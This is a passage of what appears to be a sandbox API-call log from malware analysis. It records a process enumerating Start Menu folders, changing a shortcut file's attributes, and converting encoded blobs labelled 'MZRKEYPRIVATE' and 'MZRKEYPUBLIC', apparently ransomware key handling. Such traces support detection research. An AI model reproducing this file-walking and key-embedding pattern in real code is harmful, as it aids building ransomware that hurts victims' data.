ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0128.383] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.383] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0128.383] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.383] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="Programs", cAlternateFileName="")) returned 1 [0128.383] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="Programs", cAlternateFileName="")) returned 0 [0128.383] GetLastError () returned 0x12 [0128.383] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0128.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0128.384] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0128.384] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.384] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0128.384] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.384] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.384] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.384] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName="Programs", cAlternateFileName="")) returned 1 [0128.384] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.384] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0128.385] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0128.385] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0128.385] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0128.385] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.385] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0128.385] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0128.385] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Internet Explorer (64-bit).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0128.385] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0128.385] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0128.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x58b)) returned 1 [0128.386] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk")) returned 0x20 [0128.386] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk", dwFileAttributes=0x80) returned 1 [0128.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0128.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.390] GetCurrentThreadId () returned 0xa30 [0128.390] GetCurrentThreadId () returned 0xa30 [0128.390] GetCurrentThreadId () returned 0xa30 [0128.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 